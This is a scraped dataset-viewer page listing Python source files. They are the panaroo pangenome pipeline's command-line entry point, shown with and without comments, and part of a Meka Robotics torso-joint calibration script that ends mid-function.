fumiyau/python_no_comments_test100000 · Datasets at Hugging Face

f7f344cf70320358dc12046f3a66852f0412088f

18,667

py

Python

panaroo/__main__.py

AMARTELKE/Pangenome-with-Panaroo

b720debf8616882668d53600038c334393080d9b

[ "MIT" ]

116

2019-11-28T07:54:26.000Z

2022-03-31T03:20:44.000Z

panaroo/__main__.py

AMARTELKE/Pangenome-with-Panaroo

b720debf8616882668d53600038c334393080d9b

[ "MIT" ]

120

2019-12-08T21:01:46.000Z

2022-03-30T04:11:52.000Z

panaroo/__main__.py

AMARTELKE/Pangenome-with-Panaroo

b720debf8616882668d53600038c334393080d9b

[ "MIT" ]

19

2019-12-19T05:34:03.000Z

2022-03-19T05:54:51.000Z

import os, sys import tempfile from Bio import SeqIO import shutil import networkx as nx import argparse import textwrap import ast from .isvalid import * from .set_default_args import set_default_args from .prokka import process_prokka_input from .cdhit import check_cdhit_version from .cdhit import run_cdhit from .generate_network import generate_network from .generate_output import * from .clean_network import * from .find_missing import find_missing from .generate_alignments import check_aligner_install from intbitset import intbitset from .__init__ import __version__ class SmartFormatter(argparse.HelpFormatter): def _split_lines(self, text, width): if text.startswith('R|'): lines = [] for l in text[2:].splitlines(): if l == "": lines += [""] else: lines += textwrap.wrap(l, width=55) return lines # this is the RawTextHelpFormatter._split_lines return argparse.HelpFormatter._split_lines(self, text, width) def get_options(args): description = 'panaroo: an updated pipeline for pangenome investigation' parser = argparse.ArgumentParser(description=description, prog='panaroo', formatter_class=SmartFormatter) io_opts = parser.add_argument_group('Input/output') io_opts.add_argument( "-i", "--input", dest="input_files", required=True, help=("input GFF3 files (usually output from running Prokka). " + "Can also take a file listing each gff file line by line."), type=str, nargs='+') io_opts.add_argument("-o", "--out_dir", dest="output_dir", required=True, help="location of an output directory", type=str) mode_opts = parser.add_argument_group('Mode') mode_opts.add_argument( "--clean-mode", dest="mode", help= ('''R|The stringency mode at which to run panaroo. Must be one of 'strict',\ 'moderate' or 'sensitive'. Each of these modes can be fine tuned using the\ additional parameters in the 'Graph correction' section. strict: Requires fairly strong evidence (present in at least 5%% of genomes)\ to keep likely contaminant genes. Will remove genes that are refound more often than\ they were called originally. moderate: Requires moderate evidence (present in at least 1%% of genomes)\ to keep likely contaminant genes. Keeps genes that are refound more often than\ they were called originally. sensitive: Does not delete any genes and only performes merge and refinding\ operations. Useful if rare plasmids are of interest as these are often hard to\ disguish from contamination. Results will likely include higher number of\ spurious annotations.'''), choices=['strict', 'moderate', 'sensitive'], required=True) mode_opts.add_argument( "--remove-invalid-genes", dest="filter_invalid", action='store_true', default=False, help=( "removes annotations that do not conform to the expected Prokka" + " format such as those including premature stop codons.")) matching = parser.add_argument_group('Matching') matching.add_argument("-c", "--threshold", dest="id", help="sequence identity threshold (default=0.98)", type=float) matching.add_argument( "-f", "--family_threshold", dest="family_threshold", help="protein family sequence identity threshold (default=0.7)", type=float) matching.add_argument("--len_dif_percent", dest="len_dif_percent", help="length difference cutoff (default=0.98)", type=float) matching.add_argument("--merge_paralogs", dest="merge_paralogs", help="don't split paralogs", action='store_true', default=False) refind = parser.add_argument_group('Refind') refind.add_argument( "--search_radius", dest="search_radius", help=("the distance in nucleotides surronding the " + "neighbour of an accessory gene in which to search for it"), default=5000, type=int) refind.add_argument( "--refind_prop_match", dest="refind_prop_match", help=("the proportion of an accessory gene that must " + "be found in order to consider it a match"), default=0.2, type=float) graph = parser.add_argument_group('Graph correction') graph.add_argument( "--min_trailing_support", dest="min_trailing_support", help=("minimum cluster size to keep a gene called at the " + "end of a contig"), type=int) graph.add_argument( "--trailing_recursive", dest="trailing_recursive", help=("number of times to perform recursive trimming of low support " + "nodes near the end of contigs"), type=int) graph.add_argument( "--edge_support_threshold", dest="edge_support_threshold", help=( "minimum support required to keep an edge that has been flagged" + " as a possible mis-assembly"), type=float) graph.add_argument( "--length_outlier_support_proportion", dest="length_outlier_support_proportion", help= ("proportion of genomes supporting a gene with a length more " + "than 1.5x outside the interquatile range for genes in the same cluster" + " (default=0.01). Genes failing this test will be re-annotated at the " + "shorter length"), type=float, default=0.1) graph.add_argument( "--remove_by_consensus", dest="remove_by_consensus", type=ast.literal_eval, choices=[True, False], help= ("if a gene is called in the same region with similar sequence a minority " + "of the time, remove it. One of 'True' or 'False'"), default=None) graph.add_argument( "--high_var_flag", dest="cycle_threshold_min", help=( "minimum number of nested cycles to call a highly variable gene " + "region (default = 5)."), type=int, default=5) graph.add_argument( "--min_edge_support_sv", dest="min_edge_support_sv", help=("minimum edge support required to call structural variants" + " in the presence/absence sv file"), type=int) graph.add_argument( "--all_seq_in_graph", dest="all_seq_in_graph", help=("Retains all DNA sequence for each gene cluster in the graph " + "output. Off by default as it uses a large amount of space."), action='store_true', default=False) graph.add_argument( "--no_clean_edges", dest="clean_edges", help=("Turn off edge filtering in the final output graph."), action='store_false', default=True) core = parser.add_argument_group('Gene alignment') core.add_argument( "-a", "--alignment", dest="aln", help=("Output alignments of core genes or all genes. Options are" + " 'core' and 'pan'. Default: 'None'"), type=str, choices=['core', 'pan'], default=None) core.add_argument( "--aligner", dest="alr", help= "Specify an aligner. Options:'prank', 'clustal', and default: 'mafft'", type=str, choices=['prank', 'clustal', 'mafft'], default="mafft") core.add_argument("--core_threshold", dest="core", help="Core-genome sample threshold (default=0.95)", type=float, default=0.95) # Other options parser.add_argument("-t", "--threads", dest="n_cpu", help="number of threads to use (default=1)", type=int, default=1) parser.add_argument("--codon-table", dest="table", help="the codon table to use for translation (default=11)", type=int, default=11) parser.add_argument("--quiet", dest="verbose", help="suppress additional output", action='store_false', default=True) parser.add_argument('--version', action='version', version='%(prog)s ' + __version__) args = parser.parse_args(args) args = set_default_args(args) return (args) def main(): args = get_options(sys.argv[1:]) # Check cd-hit is installed check_cdhit_version() #Make sure aligner is installed if alignment requested if args.aln != None: check_aligner_install(args.alr) # create directory if it isn't present already if not os.path.exists(args.output_dir): os.mkdir(args.output_dir) # make sure trailing forward slash is present args.output_dir = os.path.join(args.output_dir, "") # Create temporary directory temp_dir = os.path.join(tempfile.mkdtemp(dir=args.output_dir), "") # check if input is a file containing filenames if len(args.input_files) == 1: files = [] with open(args.input_files[0], 'r') as infile: for line in infile: files.append(line.strip()) args.input_files = files if args.verbose: print("pre-processing gff3 files...") # convert input GFF3 files into summary files process_prokka_input(args.input_files, args.output_dir, args.filter_invalid, (not args.verbose), args.n_cpu, args.table) # Cluster protein sequences using cdhit cd_hit_out = args.output_dir + "combined_protein_cdhit_out.txt" run_cdhit(input_file=args.output_dir + "combined_protein_CDS.fasta", output_file=cd_hit_out, id=args.id, s=args.len_dif_percent, quiet=(not args.verbose), n_cpu=args.n_cpu) if args.verbose: print("generating initial network...") # generate network from clusters and adjacency information G, centroid_contexts, seqid_to_centroid = generate_network( cluster_file=cd_hit_out + ".clstr", data_file=args.output_dir + "gene_data.csv", prot_seq_file=args.output_dir + "combined_protein_CDS.fasta", all_dna=args.all_seq_in_graph) # merge paralogs if args.verbose: print("Processing paralogs...") G = collapse_paralogs(G, centroid_contexts, quiet=(not args.verbose)) # write out pre-filter graph in GML format for node in G.nodes(): G.nodes[node]['size'] = len(G.nodes[node]['members']) G.nodes[node]['genomeIDs'] = ";".join( [str(m) for m in G.nodes[node]['members']]) G.nodes[node]['geneIDs'] = ";".join(G.nodes[node]['seqIDs']) G.nodes[node]['degrees'] = G.degree[node] for edge in G.edges(): G.edges[edge[0], edge[1]]['genomeIDs'] = ";".join( [str(m) for m in G.edges[edge[0], edge[1]]['members']]) nx.write_gml(G, args.output_dir + "pre_filt_graph.gml", stringizer=custom_stringizer) if args.verbose: print("collapse mistranslations...") # clean up translation errors G = collapse_families(G, seqid_to_centroid=seqid_to_centroid, outdir=temp_dir, dna_error_threshold=0.98, correct_mistranslations=True, length_outlier_support_proportion=args. length_outlier_support_proportion, n_cpu=args.n_cpu, quiet=(not args.verbose))[0] if args.verbose: print("collapse gene families...") # collapse gene families G, distances_bwtn_centroids, centroid_to_index = collapse_families( G, seqid_to_centroid=seqid_to_centroid, outdir=temp_dir, family_threshold=args.family_threshold, correct_mistranslations=False, length_outlier_support_proportion=args. length_outlier_support_proportion, n_cpu=args.n_cpu, quiet=(not args.verbose)) if args.verbose: print("trimming contig ends...") # re-trim low support trailing ends G = trim_low_support_trailing_ends(G, min_support=args.min_trailing_support, max_recursive=args.trailing_recursive) if args.verbose: print("refinding genes...") # find genes that Prokka has missed G = find_missing(G, args.input_files, dna_seq_file=args.output_dir + "combined_DNA_CDS.fasta", prot_seq_file=args.output_dir + "combined_protein_CDS.fasta", gene_data_file=args.output_dir + "gene_data.csv", remove_by_consensus=args.remove_by_consensus, search_radius=args.search_radius, prop_match=args.refind_prop_match, pairwise_id_thresh=args.id, merge_id_thresh=max(0.8, args.family_threshold), n_cpu=args.n_cpu, verbose=args.verbose) # remove edges that are likely due to misassemblies (by consensus) # merge again in case refinding has resolved issues if args.verbose: print("collapse gene families with refound genes...") G = collapse_families(G, seqid_to_centroid=seqid_to_centroid, outdir=temp_dir, family_threshold=args.family_threshold, correct_mistranslations=False, length_outlier_support_proportion=args. length_outlier_support_proportion, n_cpu=args.n_cpu, quiet=(not args.verbose), distances_bwtn_centroids=distances_bwtn_centroids, centroid_to_index=centroid_to_index)[0] if args.clean_edges: G = clean_misassembly_edges( G, edge_support_threshold=args.edge_support_threshold) # if requested merge paralogs if args.merge_paralogs: G = merge_paralogs(G) isolate_names = [ os.path.splitext(os.path.basename(x))[0] for x in args.input_files ] G.graph['isolateNames'] = isolate_names mems_to_isolates = {} for i, iso in enumerate(isolate_names): mems_to_isolates[i] = iso if args.verbose: print("writing output...") # write out roary like gene_presence_absence.csv # get original annotaiton IDs, lengts and whether or # not an internal stop codon is present orig_ids = {} ids_len_stop = {} with open(args.output_dir + "gene_data.csv", 'r') as infile: next(infile) for line in infile: line = line.split(",") orig_ids[line[2]] = line[3] ids_len_stop[line[2]] = (len(line[4]), "*" in line[4][1:-3]) G = generate_roary_gene_presence_absence(G, mems_to_isolates=mems_to_isolates, orig_ids=orig_ids, ids_len_stop=ids_len_stop, output_dir=args.output_dir) #Write out presence_absence summary generate_summary_stats(output_dir=args.output_dir) # write pan genome reference fasta file generate_pan_genome_reference(G, output_dir=args.output_dir, split_paralogs=False) # write out common structural differences in a matrix format generate_common_struct_presence_absence( G, output_dir=args.output_dir, mems_to_isolates=mems_to_isolates, min_variant_support=args.min_edge_support_sv) # add helpful attributes and write out graph in GML format for node in G.nodes(): G.nodes[node]['size'] = len(G.nodes[node]['members']) G.nodes[node]['centroid'] = ";".join(G.nodes[node]['centroid']) G.nodes[node]['dna'] = ";".join(conv_list(G.nodes[node]['dna'])) G.nodes[node]['protein'] = ";".join(conv_list( G.nodes[node]['protein'])) G.nodes[node]['genomeIDs'] = ";".join( [str(m) for m in G.nodes[node]['members']]) G.nodes[node]['geneIDs'] = ";".join(G.nodes[node]['seqIDs']) G.nodes[node]['degrees'] = G.degree[node] G.nodes[node]['members'] = list(G.nodes[node]['members']) G.nodes[node]['seqIDs'] = list(G.nodes[node]['seqIDs']) for edge in G.edges(): G.edges[edge[0], edge[1]]['genomeIDs'] = ";".join( [str(m) for m in G.edges[edge[0], edge[1]]['members']]) G.edges[edge[0], edge[1]]['members'] = list(G.edges[edge[0], edge[1]]['members']) nx.write_gml(G, args.output_dir + "final_graph.gml") #Write out core/pan-genome alignments if args.aln == "pan": if args.verbose: print("generating pan genome MSAs...") generate_pan_genome_alignment(G, temp_dir, args.output_dir, args.n_cpu, args.alr, isolate_names) core_nodes = get_core_gene_nodes(G, args.core, len(args.input_files)) concatenate_core_genome_alignments(core_nodes, args.output_dir) elif args.aln == "core": if args.verbose: print("generating core genome MSAs...") generate_core_genome_alignment(G, temp_dir, args.output_dir, args.n_cpu, args.alr, isolate_names, args.core, len(args.input_files)) # remove temporary directory shutil.rmtree(temp_dir) return if __name__ == '__main__': main()

37.711111

86

0.581293

import os, sys import tempfile from Bio import SeqIO import shutil import networkx as nx import argparse import textwrap import ast from .isvalid import * from .set_default_args import set_default_args from .prokka import process_prokka_input from .cdhit import check_cdhit_version from .cdhit import run_cdhit from .generate_network import generate_network from .generate_output import * from .clean_network import * from .find_missing import find_missing from .generate_alignments import check_aligner_install from intbitset import intbitset from .__init__ import __version__ class SmartFormatter(argparse.HelpFormatter): def _split_lines(self, text, width): if text.startswith('R|'): lines = [] for l in text[2:].splitlines(): if l == "": lines += [""] else: lines += textwrap.wrap(l, width=55) return lines return argparse.HelpFormatter._split_lines(self, text, width) def get_options(args): description = 'panaroo: an updated pipeline for pangenome investigation' parser = argparse.ArgumentParser(description=description, prog='panaroo', formatter_class=SmartFormatter) io_opts = parser.add_argument_group('Input/output') io_opts.add_argument( "-i", "--input", dest="input_files", required=True, help=("input GFF3 files (usually output from running Prokka). " + "Can also take a file listing each gff file line by line."), type=str, nargs='+') io_opts.add_argument("-o", "--out_dir", dest="output_dir", required=True, help="location of an output directory", type=str) mode_opts = parser.add_argument_group('Mode') mode_opts.add_argument( "--clean-mode", dest="mode", help= ('''R|The stringency mode at which to run panaroo. Must be one of 'strict',\ 'moderate' or 'sensitive'. Each of these modes can be fine tuned using the\ additional parameters in the 'Graph correction' section. strict: Requires fairly strong evidence (present in at least 5%% of genomes)\ to keep likely contaminant genes. Will remove genes that are refound more often than\ they were called originally. moderate: Requires moderate evidence (present in at least 1%% of genomes)\ to keep likely contaminant genes. Keeps genes that are refound more often than\ they were called originally. sensitive: Does not delete any genes and only performes merge and refinding\ operations. Useful if rare plasmids are of interest as these are often hard to\ disguish from contamination. Results will likely include higher number of\ spurious annotations.'''), choices=['strict', 'moderate', 'sensitive'], required=True) mode_opts.add_argument( "--remove-invalid-genes", dest="filter_invalid", action='store_true', default=False, help=( "removes annotations that do not conform to the expected Prokka" + " format such as those including premature stop codons.")) matching = parser.add_argument_group('Matching') matching.add_argument("-c", "--threshold", dest="id", help="sequence identity threshold (default=0.98)", type=float) matching.add_argument( "-f", "--family_threshold", dest="family_threshold", help="protein family sequence identity threshold (default=0.7)", type=float) matching.add_argument("--len_dif_percent", dest="len_dif_percent", help="length difference cutoff (default=0.98)", type=float) matching.add_argument("--merge_paralogs", dest="merge_paralogs", help="don't split paralogs", action='store_true', default=False) refind = parser.add_argument_group('Refind') refind.add_argument( "--search_radius", dest="search_radius", help=("the distance in nucleotides surronding the " + "neighbour of an accessory gene in which to search for it"), default=5000, type=int) refind.add_argument( "--refind_prop_match", dest="refind_prop_match", help=("the proportion of an accessory gene that must " + "be found in order to consider it a match"), default=0.2, type=float) graph = parser.add_argument_group('Graph correction') graph.add_argument( "--min_trailing_support", dest="min_trailing_support", help=("minimum cluster size to keep a gene called at the " + "end of a contig"), type=int) graph.add_argument( "--trailing_recursive", dest="trailing_recursive", help=("number of times to perform recursive trimming of low support " + "nodes near the end of contigs"), type=int) graph.add_argument( "--edge_support_threshold", dest="edge_support_threshold", help=( "minimum support required to keep an edge that has been flagged" + " as a possible mis-assembly"), type=float) graph.add_argument( "--length_outlier_support_proportion", dest="length_outlier_support_proportion", help= ("proportion of genomes supporting a gene with a length more " + "than 1.5x outside the interquatile range for genes in the same cluster" + " (default=0.01). Genes failing this test will be re-annotated at the " + "shorter length"), type=float, default=0.1) graph.add_argument( "--remove_by_consensus", dest="remove_by_consensus", type=ast.literal_eval, choices=[True, False], help= ("if a gene is called in the same region with similar sequence a minority " + "of the time, remove it. One of 'True' or 'False'"), default=None) graph.add_argument( "--high_var_flag", dest="cycle_threshold_min", help=( "minimum number of nested cycles to call a highly variable gene " + "region (default = 5)."), type=int, default=5) graph.add_argument( "--min_edge_support_sv", dest="min_edge_support_sv", help=("minimum edge support required to call structural variants" + " in the presence/absence sv file"), type=int) graph.add_argument( "--all_seq_in_graph", dest="all_seq_in_graph", help=("Retains all DNA sequence for each gene cluster in the graph " + "output. Off by default as it uses a large amount of space."), action='store_true', default=False) graph.add_argument( "--no_clean_edges", dest="clean_edges", help=("Turn off edge filtering in the final output graph."), action='store_false', default=True) core = parser.add_argument_group('Gene alignment') core.add_argument( "-a", "--alignment", dest="aln", help=("Output alignments of core genes or all genes. Options are" + " 'core' and 'pan'. Default: 'None'"), type=str, choices=['core', 'pan'], default=None) core.add_argument( "--aligner", dest="alr", help= "Specify an aligner. Options:'prank', 'clustal', and default: 'mafft'", type=str, choices=['prank', 'clustal', 'mafft'], default="mafft") core.add_argument("--core_threshold", dest="core", help="Core-genome sample threshold (default=0.95)", type=float, default=0.95) # Other options parser.add_argument("-t", "--threads", dest="n_cpu", help="number of threads to use (default=1)", type=int, default=1) parser.add_argument("--codon-table", dest="table", help="the codon table to use for translation (default=11)", type=int, default=11) parser.add_argument("--quiet", dest="verbose", help="suppress additional output", action='store_false', default=True) parser.add_argument('--version', action='version', version='%(prog)s ' + __version__) args = parser.parse_args(args) args = set_default_args(args) return (args) def main(): args = get_options(sys.argv[1:]) # Check cd-hit is installed check_cdhit_version() #Make sure aligner is installed if alignment requested if args.aln != None: check_aligner_install(args.alr) # create directory if it isn't present already if not os.path.exists(args.output_dir): os.mkdir(args.output_dir) args.output_dir = os.path.join(args.output_dir, "") temp_dir = os.path.join(tempfile.mkdtemp(dir=args.output_dir), "") if len(args.input_files) == 1: files = [] with open(args.input_files[0], 'r') as infile: for line in infile: files.append(line.strip()) args.input_files = files if args.verbose: print("pre-processing gff3 files...") process_prokka_input(args.input_files, args.output_dir, args.filter_invalid, (not args.verbose), args.n_cpu, args.table) cd_hit_out = args.output_dir + "combined_protein_cdhit_out.txt" run_cdhit(input_file=args.output_dir + "combined_protein_CDS.fasta", output_file=cd_hit_out, id=args.id, s=args.len_dif_percent, quiet=(not args.verbose), n_cpu=args.n_cpu) if args.verbose: print("generating initial network...") G, centroid_contexts, seqid_to_centroid = generate_network( cluster_file=cd_hit_out + ".clstr", data_file=args.output_dir + "gene_data.csv", prot_seq_file=args.output_dir + "combined_protein_CDS.fasta", all_dna=args.all_seq_in_graph) if args.verbose: print("Processing paralogs...") G = collapse_paralogs(G, centroid_contexts, quiet=(not args.verbose)) for node in G.nodes(): G.nodes[node]['size'] = len(G.nodes[node]['members']) G.nodes[node]['genomeIDs'] = ";".join( [str(m) for m in G.nodes[node]['members']]) G.nodes[node]['geneIDs'] = ";".join(G.nodes[node]['seqIDs']) G.nodes[node]['degrees'] = G.degree[node] for edge in G.edges(): G.edges[edge[0], edge[1]]['genomeIDs'] = ";".join( [str(m) for m in G.edges[edge[0], edge[1]]['members']]) nx.write_gml(G, args.output_dir + "pre_filt_graph.gml", stringizer=custom_stringizer) if args.verbose: print("collapse mistranslations...") G = collapse_families(G, seqid_to_centroid=seqid_to_centroid, outdir=temp_dir, dna_error_threshold=0.98, correct_mistranslations=True, length_outlier_support_proportion=args. length_outlier_support_proportion, n_cpu=args.n_cpu, quiet=(not args.verbose))[0] if args.verbose: print("collapse gene families...") G, distances_bwtn_centroids, centroid_to_index = collapse_families( G, seqid_to_centroid=seqid_to_centroid, outdir=temp_dir, family_threshold=args.family_threshold, correct_mistranslations=False, length_outlier_support_proportion=args. length_outlier_support_proportion, n_cpu=args.n_cpu, quiet=(not args.verbose)) if args.verbose: print("trimming contig ends...") G = trim_low_support_trailing_ends(G, min_support=args.min_trailing_support, max_recursive=args.trailing_recursive) if args.verbose: print("refinding genes...") G = find_missing(G, args.input_files, dna_seq_file=args.output_dir + "combined_DNA_CDS.fasta", prot_seq_file=args.output_dir + "combined_protein_CDS.fasta", gene_data_file=args.output_dir + "gene_data.csv", remove_by_consensus=args.remove_by_consensus, search_radius=args.search_radius, prop_match=args.refind_prop_match, pairwise_id_thresh=args.id, merge_id_thresh=max(0.8, args.family_threshold), n_cpu=args.n_cpu, verbose=args.verbose) if args.verbose: print("collapse gene families with refound genes...") G = collapse_families(G, seqid_to_centroid=seqid_to_centroid, outdir=temp_dir, family_threshold=args.family_threshold, correct_mistranslations=False, length_outlier_support_proportion=args. length_outlier_support_proportion, n_cpu=args.n_cpu, quiet=(not args.verbose), distances_bwtn_centroids=distances_bwtn_centroids, centroid_to_index=centroid_to_index)[0] if args.clean_edges: G = clean_misassembly_edges( G, edge_support_threshold=args.edge_support_threshold) if args.merge_paralogs: G = merge_paralogs(G) isolate_names = [ os.path.splitext(os.path.basename(x))[0] for x in args.input_files ] G.graph['isolateNames'] = isolate_names mems_to_isolates = {} for i, iso in enumerate(isolate_names): mems_to_isolates[i] = iso if args.verbose: print("writing output...") orig_ids = {} ids_len_stop = {} with open(args.output_dir + "gene_data.csv", 'r') as infile: next(infile) for line in infile: line = line.split(",") orig_ids[line[2]] = line[3] ids_len_stop[line[2]] = (len(line[4]), "*" in line[4][1:-3]) G = generate_roary_gene_presence_absence(G, mems_to_isolates=mems_to_isolates, orig_ids=orig_ids, ids_len_stop=ids_len_stop, output_dir=args.output_dir) generate_summary_stats(output_dir=args.output_dir) generate_pan_genome_reference(G, output_dir=args.output_dir, split_paralogs=False) generate_common_struct_presence_absence( G, output_dir=args.output_dir, mems_to_isolates=mems_to_isolates, min_variant_support=args.min_edge_support_sv) for node in G.nodes(): G.nodes[node]['size'] = len(G.nodes[node]['members']) G.nodes[node]['centroid'] = ";".join(G.nodes[node]['centroid']) G.nodes[node]['dna'] = ";".join(conv_list(G.nodes[node]['dna'])) G.nodes[node]['protein'] = ";".join(conv_list( G.nodes[node]['protein'])) G.nodes[node]['genomeIDs'] = ";".join( [str(m) for m in G.nodes[node]['members']]) G.nodes[node]['geneIDs'] = ";".join(G.nodes[node]['seqIDs']) G.nodes[node]['degrees'] = G.degree[node] G.nodes[node]['members'] = list(G.nodes[node]['members']) G.nodes[node]['seqIDs'] = list(G.nodes[node]['seqIDs']) for edge in G.edges(): G.edges[edge[0], edge[1]]['genomeIDs'] = ";".join( [str(m) for m in G.edges[edge[0], edge[1]]['members']]) G.edges[edge[0], edge[1]]['members'] = list(G.edges[edge[0], edge[1]]['members']) nx.write_gml(G, args.output_dir + "final_graph.gml") if args.aln == "pan": if args.verbose: print("generating pan genome MSAs...") generate_pan_genome_alignment(G, temp_dir, args.output_dir, args.n_cpu, args.alr, isolate_names) core_nodes = get_core_gene_nodes(G, args.core, len(args.input_files)) concatenate_core_genome_alignments(core_nodes, args.output_dir) elif args.aln == "core": if args.verbose: print("generating core genome MSAs...") generate_core_genome_alignment(G, temp_dir, args.output_dir, args.n_cpu, args.alr, isolate_names, args.core, len(args.input_files)) shutil.rmtree(temp_dir) return if __name__ == '__main__': main()

true

f7f34502f445c46c538318177f51718acc7ae51f

8,708

py

Python

python/scripts/m3qa/calibrate_torso_t2r1.py

ahoarau/m3meka

237739f0266ce60aaa3013b0d2b22fc07b6374c4

[ "MIT" ]

null

python/scripts/m3qa/calibrate_torso_t2r1.py

ahoarau/m3meka

237739f0266ce60aaa3013b0d2b22fc07b6374c4

[ "MIT" ]

null

python/scripts/m3qa/calibrate_torso_t2r1.py

ahoarau/m3meka

237739f0266ce60aaa3013b0d2b22fc07b6374c4

[ "MIT" ]

2

2015-11-27T09:25:54.000Z

2021-08-16T16:29:22.000Z

#Copyright 2008, Meka Robotics #All rights reserved. #http://mekabot.com #Redistribution and use in source and binary forms, with or without #modification, are permitted. #THIS SOFTWARE IS PROVIDED BY THE Copyright HOLDERS AND CONTRIBUTORS #"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT #LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS #FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE #Copyright OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, #INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES INCLUDING, #BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; #LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER #CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT #LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN #ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE #POSSIBILITY OF SUCH DAMAGE. import time import numpy.numarray as na #import Numeric as nu import math import os import sys import yaml import m3.unit_conversion as m3u from m3qa.calibrate import * from m3qa.calibrate_sensors import * from m3qa.calibrate_actuator_ec_r1 import * import m3.actuator_ec_pb2 as aec # ######################################## T2 J0 ############################################################ config_default_t2_j0={ 'calib':{ 'motor':{ 'name': 'Maxon RE40 150W 24V', 'winding_resistance': .316, 'thermal_resistance_housing_ambient': 4.7, 'thermal_resistance_rotor_housing': 1.9, 'max_winding_temp': 155, 'gear_ratio': 240.0, 'thermal_time_constant_winding': 41.0 }, 'theta':{ 'type': 'vertx_14bit', 'name': 'ContElec VertX13', 'cb_scale': 1.0, 'cb_bias': 0.0}, 'amp_temp':{ 'type': 'adc_linear_5V', 'name': 'Microchip TC1047', 'cb_mV_at_25C': 750.0, 'cb_mV_per_C': 10.0, 'cb_scale': 1.0, 'cb_bias': 0.0, }, 'motor_temp':{ 'type': 'adc_linear_3V3', 'name': 'Analog TMP36', 'cb_mV_at_25C': 750.0, 'cb_mV_per_C': 10.0, 'cb_scale': 1.0, 'cb_bias': 0.0}, 'torque':{ 'type': 'adc_poly', 'name': 'Linear torque-load cell', 'cb_inv_torque': [1,0], 'cb_torque': [1,0], 'cb_scale': 1.0, 'cb_bias': 0.0}, 'current':{ 'type': 'adc_linear_5V', 'name': 'Allegro ACS712-20', 'cb_mV_per_A': 100.0, 'cb_ticks_at_zero_a': 0.0, 'cb_ticks_at_zero_b': 0.0, 'cb_scale': 1.0, 'cb_bias': 0.0}, }, 'param':{ 'max_amp_temp': 100.0, 'max_current': 12000, 'max_motor_temp': 145.0, 'max_tq': 40000.0, 'min_tq': -40000.0, 'thetadot_deadband': 1.0 }, 'param_internal': { 'calib_tq_lc_amp':2000.0, 'analyze_tq_lc_amp':10000.0, 'calib_lever_mass':327.6, 'calib_lever_com':157.5, 'calib_lever_len':304.8, 'joint_limits': [-180.0,180.0], 'calib_tq_degree':1, 'calib_hub_diam':70, 'pwm_theta':[-700,700], } } # ###################################### T2 J1 ############################################################## config_default_t2_j1={ 'calib':{ 'motor':{ 'name': 'Maxon RE40 150W 24V', 'winding_resistance': .316, 'thermal_resistance_housing_ambient': 4.7, 'thermal_resistance_rotor_housing': 1.9, 'max_winding_temp': 155, 'gear_ratio': 120.0, 'thermal_time_constant_winding': 41.0 }, 'theta':{ 'type': 'vertx_14bit', 'name': 'ContElec VertX13', 'cb_scale': 1.0, 'cb_bias': 0.0}, 'amp_temp':{ 'type': 'adc_linear_5V', #5V supply, divider 'name': 'Microchip TC1047', 'cb_mV_at_25C': 750.0, 'cb_mV_per_C': 10.0, 'cb_scale': 1.0, 'cb_bias': 0.0, }, 'motor_temp':{ 'type': 'adc_linear_3V3', #3v3 supply, no divider 'name': 'Analog TMP36', 'cb_mV_at_25C': 750.0, 'cb_mV_per_C': 10.0, 'cb_scale': 1.0, 'cb_bias': 0.0}, 'torque':{ 'type': 'adc_poly', 'name': 'Linear torque-load cell', 'cb_inv_torque': [1,0], 'cb_torque': [1,0], 'cb_scale': 1.0, 'cb_bias': 0.0}, 'current':{ 'type': 'adc_linear_5V', 'name': 'Allegro ACS712-20', 'cb_mV_per_A': 100.0, 'cb_ticks_at_zero_a': 0.0, 'cb_ticks_at_zero_b': 0.0, 'cb_scale': 1.0, 'cb_bias': 0.0}, }, 'param':{ 'max_amp_temp': 100.0, 'max_current': 12000, 'max_motor_temp': 145.0, 'max_tq': 50000.0, 'min_tq': -50000.0, 'thetadot_deadband': 1.0 }, 'param_internal': { 'calib_tq_lc_amp':2000.0, 'analyze_tq_lc_amp':10000.0, 'calib_lever_mass':327.6, 'calib_lever_com':157.5, 'calib_lever_len':304.8, 'joint_limits': [-29.0,29.0], 'pwm_theta':[-450,450], 'calib_tq_degree':1, 'calib_hub_diam':70 } } # ########################################################################### class M3Calibrate_Torso_T2R1(M3CalibrateActuatorEcR1): def __init__(self): M3CalibrateActuatorEcR1.__init__(self) self.joint_names=['Pan J0', 'Pitch J1'] self.config_default=[ config_default_t2_j0, config_default_t2_j1] def start(self,ctype): if not M3CalibrateActuatorEcR1.start(self,ctype): return False self.jid=int(self.comp_ec.name[self.comp_ec.name.find('_j')+2:]) self.calib_default=self.config_default[self.jid]['calib'] self.param_default=self.config_default[self.jid]['param'] self.param_internal=self.config_default[self.jid]['param_internal'] print 'Calibrating joint',self.joint_names[self.jid] return True def do_task(self,ct): if ct=='tt': self.reset_sensor('theta') self.calibrate_theta() self.write_config() return True if M3CalibrateActuatorEcR1.do_task(self,ct): return True return False def print_tasks(self): M3CalibrateActuatorEcR1.print_tasks(self) def calibrate_theta(self): print 'Torso will be driven to limits. Proceed [y]?' if not m3t.get_yes_no('y'): return pconfig=self.comp_ec.param.config #disable qei limits self.comp_ec.param.config=0 self.proxy.publish_command(self.comp_rt) self.proxy.publish_param(self.comp_rt) self.proxy.make_operational(self.name_rt) self.step() print 'Moving joint to first limit. Hit any key when ready' raw_input() self.comp_rt.set_mode_pwm() print 'Desired pwm? [',self.param_internal['pwm_theta'][0],']?' p=int(m3t.get_float(self.param_internal['pwm_theta'][0])) self.comp_rt.set_pwm(p) self.step() print 'Hit any key when motion done' raw_input() self.step() q_on_a=self.comp_ec.status.qei_on q_p_a=self.comp_ec.status.qei_period q_r_a=self.comp_ec.status.qei_rollover print 'Expected joint limits: ',self.param_internal['joint_limits'] print 'Enter theta (Deg)' theta_a=m3t.get_float() print 'Moving joint to second limit. Hit any key when ready' raw_input() print 'Desired pwm? 